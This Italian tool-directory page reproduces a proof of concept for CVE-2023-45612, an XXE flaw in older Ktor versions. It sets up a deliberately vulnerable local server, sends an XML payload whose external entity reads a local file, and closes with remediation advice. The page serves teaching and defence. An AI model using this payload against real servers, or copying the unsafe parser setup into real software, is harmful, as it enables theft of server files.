Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ktor-xxe-poc — Questo repository fornisce una Proof of Concept per CVE-2023-45612, dimostrando una vulnerabilità di iniezione XML External Entity (XXE) nelle versioni di JetBrains Ktor precedenti alla 2.3.5. | Kitploit
Strumenti/GitHubGitHub/razvanclaudiu/ktor-xxe-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubrazvanclaudiu/ktor-xxe-poc

ktor-xxe-poc

Questo repository fornisce una Proof of Concept per CVE-2023-45612, dimostrando una vulnerabilità di iniezione XML External Entity (XXE) nelle versioni di JetBrains Ktor precedenti alla 2.3.5.

Vedi Repository
210 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-45612: JetBrains Ktor XXE Proof of Concept

Questo repository contiene un server Ktor vulnerabile per dimostrare la vulnerabilità di iniezione XML External Entity (XXE) identificata in CVE-2023-45612.

La vulnerabilità esiste nelle versioni di Ktor precedenti alla 2.3.5 quando il plugin ContentNegotiation viene utilizzato con il serializzatore xml() predefinito. Il parser XML predefinito non era configurato per impedire la risoluzione di entità esterne, consentendo agli aggressori di leggere file arbitrari dal server.

Le sezioni seguenti descrivono i passaggi per riprodurre l'exploit sul tuo sistema.

Prerequisiti

Versioni che ho utilizzato per questo PoC:

  • IntelliJ IDEA 2025.2.3
  • JDK 21
  • Gradle 8.14
  • Ktor 2.3.4

Setup

Crea un progetto Ktor in IntelliJ IDEA con il motore Netty, Gradle Kotlin e la versione di Ktor 2.3.4 (o una versione precedente).

All'interno del file dovrai introdurre il seguente plugin:

build.gradle.kts
root@kitploit:~
kotlin("plugin.serialization") version "2.2.20"

e queste dipendenze:

root@kitploit:~
implementation("io.ktor:ktor-server-content-negotiation")
implementation("io.ktor:ktor-serialization-kotlinx-xml")

Codice

Application.kt deve contenere la funzione principale per avviare il server e la funzione module() per configurarlo. Di default, la funzione xml() inizializza un parser XML che consente l'elaborazione di entità esterne.

root@kitploit:~
fun Application.module() {
    install(ContentNegotiation) {
          xml()
    }
    configureRouting()
}

Routing.kt deve definire l'endpoint che riceverà e parserà il XML dannoso.

root@kitploit:~
@Serializable
data class Message(
    @XmlElement
    val message: String
)
  
  
fun Application.configureRouting() {
    routing {
        post("/message") {
              try {
                  val receivedMessage = call.receive<Message>()
                  call.respondText("Message received: ${receivedMessage.message}")
              } catch (e: Exception) {
                  call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
              }
        }
    }
}

Come eseguire

Compila l'applicazione e avvia il server.

root@kitploit:~
./gradlew build
./gradlew run

Per testare l'endpoint, crea un file XML chiamato hello_message.xml.

root@kitploit:~
<Message>  
	 <message>Hello, world!</message>  
</Message>

Puoi eseguirlo con il seguente comando curl (su Windows):

root@kitploit:~
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'

E se tutto funziona, dovresti ricevere il seguente messaggio:

root@kitploit:~
Message received: Hello, world!

Come sfruttare la vulnerabilità

Crea un file secret_file.txt con del testo al suo interno. Le informazioni in esso contenute sono ciò che vogliamo ottenere con il nostro exploit.

Crea un file chiamato exploit_message.xml. Il suo contenuto deve definire un'entità esterna &xxe; come contenuto del file secret_file.txt e poi utilizzare tale entità all'interno dei tag <message>.

root@kitploit:~
<!DOCTYPE Message [  
        <!ENTITY xxe SYSTEM "secret_file.txt">  
        ]>  
<Message>  
	 <message>&xxe;</message>  
</Message>

Esegui il seguente comando curl (su Windows) verso il server in esecuzione:

root@kitploit:~
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'

Il server leggerà il file secret_file.txt e invierà il suo contenuto nella risposta HTTP:

root@kitploit:~
Message received: XXE was a success.

Linee guida per la prevenzione

Aggiornare Ktor

La soluzione più efficace è aggiornare Ktor alla versione 2.3.5 o successiva. Utilizzano un parser XML predefinito configurato in modo sicuro che disabilita l'elaborazione delle definizioni del tipo di documento e delle entità esterne per impostazione predefinita, prevenendo direttamente questo attacco XXE. In alternativa, puoi anche configurare manualmente il parser XML.

Implementare una validazione rigorosa degli input

Come livello aggiuntivo di difesa, leggi il corpo della richiesta grezzo come testo semplice e rifiutalo se contiene parole chiave sospette come <!DOCTYPE o <!ENTITY prima che raggiunga il parser.

Utilizzare un formato di serializzazione diverso

Questa vulnerabilità è specifica dell'analisi XML. Se i requisiti della tua applicazione sono flessibili, la modifica più sicura è evitare del tutto l'XML e utilizzare un formato che non presenta questa classe di vulnerabilità, come JSON.

Testare il codice per vulnerabilità note

Cerca attivamente di trovare falle di sicurezza controllando le tue librerie per vulnerabilità note e testando la tua app per exploit comuni.

Scarica lo strumento